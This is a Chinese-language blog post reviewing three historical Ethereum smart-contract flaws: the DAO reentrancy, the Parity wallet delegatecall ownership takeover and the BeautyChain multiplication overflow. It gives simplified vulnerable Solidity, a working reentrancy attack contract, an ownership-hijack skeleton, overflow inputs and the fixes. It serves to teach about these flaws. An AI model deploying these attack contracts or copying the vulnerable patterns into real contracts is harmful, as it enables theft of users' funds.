主页 > imtoken官网地址 > 以太坊合约漏洞汇总——分析、模拟与复现

以太坊合约漏洞汇总——分析、模拟与复现

imtoken官网地址 2023-03-04 05:22:24

以太坊的智能合约从DAO开始就没有被破解过以太坊智能合约漏洞,感觉有必要总结一下,借鉴一下。

1. DAO 漏洞。

这个漏洞直接导致了以太坊的分叉。 应该算是最著名的名人漏洞了。

我们删除了源代码中不相关的部分,只留下关键代码。 看仿真源码:

pragma solidity ^0.4.18;
contract TheDAO{
	//这两个函数为方便测试,额外加的,原合约中并没有。
    function getBanalce() public view returns(uint){
        return address(this).balance;
    }
    function deposit()public payable{
    }
    
    function splitDAO()public{
        withdrawRewardFor(msg.sender);
    }
    function withdrawRewardFor(address _account)public{
        uint reward = 10**17;
        if (!payOut(_account, reward))  throw;
    }
    
    function payOut(address _recipient, uint _amount) returns (bool) {
        if (_recipient.call.value(_amount)()) {//假如_recipient是一个合约地址,此调用会触发_recipient的回退函数,并且,call命令不会限制本次调用的gas。
            return true;
        } else {
            return false;
        }
    }
   
    function () public payable{ }
}
contract HackCode{
    address public daoContract;
    uint public count =  50;
    uint public n;
    function setDAO(address _addr)public{
        daoContract = _addr;
    }
    function getBanalce() public view returns(uint){
        return address(this).balance;
    }
    
    function withdraw()public{
        msg.sender.transfer(address(this).balance);
    }
    
    function setCount(uint newCount)public {
        count = newCount;
    }
    function () public payable{
        if(n < count){
            n++;// 限制递归次数,防止out of gas,那样整个递归调用链都会回滚。
            TheDAO(daoContract).splitDAO();
        }
    }
}

原因基本写在注释中:call方法可能会触发fallback函数,并且本次调用的gasLimit没有限制(transfer和send会限制在2300-这个数额连最简单的都不够cover成本函数调用)。所以要修复错误,只需更改

if (_recipient.call.value(_amount)()) 

变成

if (_recipient.send(_amount)) 

就是这样。

注意:在字节码中可以找到黑客实际使用的攻击合约,但无法获取源代码,反编译可读性不好。 这里根据个人理解做一个实现。 如有不当之处,敬请指正。

2、平价钱包

该bug是由于使用了delegatecall方法导致的,导致黑客获取了owner权限

漏洞的威力:黑客转移了数千万美元的eth并破坏了WalletLibrary合约,导致一些Wallet合约中剩余的eth(300万)永远无法提取。

部分源码:


contract WalletLibrary {
  modifier onlyowner {
    if (isOwner(msg.sender))
      _;
  }
  modifier onlymanyowners(bytes32 _operation) {
    if (confirmAndCheck(_operation))
      _;
  }
  modifier only_uninitialized { if (m_numOwners > 0) throw; _; }
  
  function isOwner(address _addr) constant returns (bool) {
    return m_ownerIndex[uint(_addr)] > 0;
  }
  
  function initMultiowned(address[] _owners, uint _required) only_uninitialized {
    m_numOwners = _owners.length + 1;
    m_owners[1] = uint(msg.sender);
    m_ownerIndex[uint(msg.sender)] = 1;
    for (uint i = 0; i < _owners.length; ++i)
    {
      m_owners[2 + i] = uint(_owners[i]);
      m_ownerIndex[uint(_owners[i])] = 2 + i;
    }
    m_required = _required;
  }
  function initWallet(address[] _owners, uint _required, uint _daylimit) only_uninitialized {
    initDaylimit(_daylimit);
    initMultiowned(_owners, _required);
  }
  function kill(address _to) onlymanyowners(sha3(msg.data)) external {
    suicide(_to);
  }
}
contract Wallet {
	uint public m_required;
  uint public m_numOwners;
  uint public m_dailyLimit;
  uint public m_spentToday;
  uint public m_lastDay;
  // list of owners
  uint[256] m_owners;
  address constant _walletLibrary = 0x863df6bfa4469f3ead0be8f9f2aae51c91a907b4;
  function Wallet(address[] _owners, uint _required, uint _daylimit) {
    bytes4 sig = bytes4(sha3("initWallet(address[],uint256,uint256)"));
    address target = _walletLibrary;
    uint argarraysize = (2 + _owners.length);
    uint argsize = (2 + argarraysize) * 32;
    assembly {
      mstore(0x0, sig)
      codecopy(0x4,  sub(codesize, argsize), argsize)
      delegatecall(sub(gas, 10000), target, 0x0, add(argsize, 0x4), 0x0, 0x0)
    }
  }
  function() payable {
    if (msg.value > 0)
      Deposit(msg.sender, msg.value);
    else if (msg.data.length > 0)
      _walletLibrary.delegatecall(msg.data);
  }
}

问题出在 initWallet 函数上。 乍一看,有个only_uninitialized修饰符,防止多次调用。 其实这里有个隐藏的漏洞:

Wallet合约通过delegate调用walletLibrary合约的initWallet方法是没有问题的。 only_uninitialized 可以防止 Wallet 多次调用 initWallet。 但是,如果我们构造一个Wallet2合约,调用walletLibrary合约的initWallet方法,only_uninitialized读取的owner就是Wallet2中的owner——这个owner可以任意赋值,所以Wallet2很容易获得walletLibrary中的owner权限。

黑客合约的结构可以是这样的:

contract Wallet2 {
	uint public m_required;
  uint public m_numOwners;
  uint public m_dailyLimit;
  uint public m_spentToday;
  uint public m_lastDay;
 
  // list of owners
  uint[256] m_owners;
  mapping(uint => uint) m_ownerIndex;
  address constant _walletLibrary = 0x863df6bfa4469f3ead0be8f9f2aae51c91a907b4;
	function attack()public{
		m_ownerIndex[this] = 1;
		 bytes4 sig = bytes4(sha3("initWallet(address[],uint256,uint256)"));
		_walletLibrary.delegatecall(sig, [this], 0, 0);//这里会顺利调用到initWallet函数,并把this设置为owner
		..........//可以为所欲为了
	}
}

根本原因是:delegatecall调用了其他合约的代码,存储了当前合约还在使用的环境,导致owner权限丢失。

教训:慎用delegatecall,因为它的行为严重不符合人的直觉,容易造成漏洞。

另外,在获得所有者权限后,黑客拿走了一些eth,然后销毁了_walletLibrary。 . . . 别人不能再取出钱包里剩余的eth了以太坊智能合约漏洞,太浪费了。 . .

三、美图币BeautyChain(BEC)漏洞

这个错误比 DAO 错误更容易理解:没有乘法的溢出检查。

关键代码:


library SafeMath {
  function mul(uint256 a, uint256 b) internal constant returns (uint256) {
    uint256 c = a * b;
    assert(a == 0 || c / a == b);
    return c;
  }
  function div(uint256 a, uint256 b) internal constant returns (uint256) {
    // assert(b > 0); // Solidity automatically throws when dividing by 0
    uint256 c = a / b;
    // assert(a == b * c + a % b); // There is no case in which this doesn't hold
    return c;
  }
  function sub(uint256 a, uint256 b) internal constant returns (uint256) {
    assert(b <= a);
    return a - b;
  }
  function add(uint256 a, uint256 b) internal constant returns (uint256) {
    uint256 c = a + b;
    assert(c >= a);
    return c;
  }
}
contract BeautyChain{
    using SafeMath for uint256;
    mapping (address => uint256) public balances;
    
    function batchTransfer(address[] _receivers, uint256 _value) public  returns (bool) {
        uint cnt = _receivers.length;
        uint256 amount = uint256(cnt) * _value; // <====这个乘法有可能溢出
        require(cnt > 0 && cnt <= 20);
        require(_value > 0 && balances[msg.sender] >= amount);
    
        balances[msg.sender] = balances[msg.sender].sub(amount); 
        for (uint i = 0; i < cnt; i++) {
            balances[_receivers[i]] = balances[_receivers[i]].add(_value);
        }
        return true;
      }
}

攻击者让uint256(cnt) * _value溢出后正好等于0:让cnt = 2, _value = 2^128。 溢出后,amount = 0, require(_value > 0 && balances[msg.sender] >= amount); 可以完美绕过。

然后进入for循环,加上(_value)即可,此时的值为2^128。 . . .

发起攻击的交易:

纠正错误就像更改一样简单:

uint256 amount = uint256(cnt) * _value;

变成

uint256 amount = _value.mul(uint256(cnt));

就是这样。